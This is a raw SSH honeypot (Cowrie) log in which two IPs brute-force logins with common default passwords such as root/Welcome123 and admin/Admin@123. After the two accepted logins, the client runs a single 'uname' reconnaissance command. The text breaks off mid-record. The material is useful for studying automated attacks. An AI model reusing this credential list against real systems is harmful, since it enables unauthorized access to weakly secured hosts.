{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:55.574937Z","src_ip":"192.109.200.78","session":"64df8b402f38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33270,"dst_ip":"159.203.135.109","dst_port":22,"session":"47201f8eb182","protocol":"ssh","message":"New connection: 176.65.139.95:33270 (159.203.135.109:22) [session: 47201f8eb182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:58.393606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:58.398053Z","src_ip":"176.65.139.95","session":"47201f8eb182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53556,"dst_ip":"159.203.135.109","dst_port":22,"session":"595cb1a32916","protocol":"ssh","message":"New connection: 192.109.200.78:53556 (159.203.135.109:22) [session: 595cb1a32916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:58.439947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:58.444248Z","src_ip":"192.109.200.78","session":"595cb1a32916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:58.505682Z","src_ip":"176.65.139.95","session":"47201f8eb182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:58.529215Z","src_ip":"192.109.200.78","session":"595cb1a32916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:58.784805Z","src_ip":"192.109.200.78","session":"595cb1a32916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:59.093581Z","src_ip":"176.65.139.95","session":"47201f8eb182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:59.868695Z","src_ip":"192.109.200.78","session":"595cb1a32916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:00.179949Z","src_ip":"176.65.139.95","session":"47201f8eb182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53562,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b801ad93d03","protocol":"ssh","message":"New connection: 192.109.200.78:53562 (159.203.135.109:22) [session: 9b801ad93d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:02.468070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:02.475403Z","src_ip":"192.109.200.78","session":"9b801ad93d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:02.557902Z","src_ip":"192.109.200.78","session":"9b801ad93d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:02.809874Z","src_ip":"192.109.200.78","session":"9b801ad93d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:03.949203Z","src_ip":"192.109.200.78","session":"9b801ad93d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60460,"dst_ip":"159.203.135.109","dst_port":22,"session":"e037d60f25e2","protocol":"ssh","message":"New connection: 176.65.139.95:60460 (159.203.135.109:22) [session: e037d60f25e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:04.636042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:04.786726Z","src_ip":"176.65.139.95","session":"e037d60f25e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:04.796014Z","src_ip":"176.65.139.95","session":"e037d60f25e2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:05.331466Z","src_ip":"176.65.139.95","session":"e037d60f25e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:05.550665Z","src_ip":"176.65.139.95","session":"e037d60f25e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:05.555076Z","src_ip":"176.65.139.95","session":"e037d60f25e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:05.640848Z","src_ip":"176.65.139.95","session":"e037d60f25e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:05.645600Z","src_ip":"176.65.139.95","session":"e037d60f25e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53576,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f14af11c7e8","protocol":"ssh","message":"New connection: 192.109.200.78:53576 (159.203.135.109:22) [session: 1f14af11c7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:09.836088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:09.840767Z","src_ip":"192.109.200.78","session":"1f14af11c7e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:09.924118Z","src_ip":"192.109.200.78","session":"1f14af11c7e8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:10.178570Z","src_ip":"192.109.200.78","session":"1f14af11c7e8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:10.401800Z","src_ip":"192.109.200.78","session":"1f14af11c7e8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:10.404915Z","src_ip":"192.109.200.78","session":"1f14af11c7e8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:10.492593Z","src_ip":"192.109.200.78","session":"1f14af11c7e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:10.498015Z","src_ip":"192.109.200.78","session":"1f14af11c7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39312,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a186441c4b9","protocol":"ssh","message":"New connection: 192.109.200.78:39312 (159.203.135.109:22) [session: 9a186441c4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:10.835432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:10.840484Z","src_ip":"192.109.200.78","session":"9a186441c4b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:10.923652Z","src_ip":"192.109.200.78","session":"9a186441c4b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50028,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e13685ba640","protocol":"ssh","message":"New connection: 176.65.139.95:50028 (159.203.135.109:22) [session: 7e13685ba640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:11.111775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:11.116920Z","src_ip":"176.65.139.95","session":"7e13685ba640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:11.204310Z","src_ip":"176.65.139.95","session":"7e13685ba640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:11.299444Z","src_ip":"192.109.200.78","session":"9a186441c4b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:11.461222Z","src_ip":"176.65.139.95","session":"7e13685ba640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:12.403084Z","src_ip":"192.109.200.78","session":"9a186441c4b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:12.555338Z","src_ip":"176.65.139.95","session":"7e13685ba640","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39320,"dst_ip":"159.203.135.109","dst_port":22,"session":"e61704d9292f","protocol":"ssh","message":"New connection: 192.109.200.78:39320 (159.203.135.109:22) [session: e61704d9292f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:14.945234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:14.950436Z","src_ip":"192.109.200.78","session":"e61704d9292f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"comp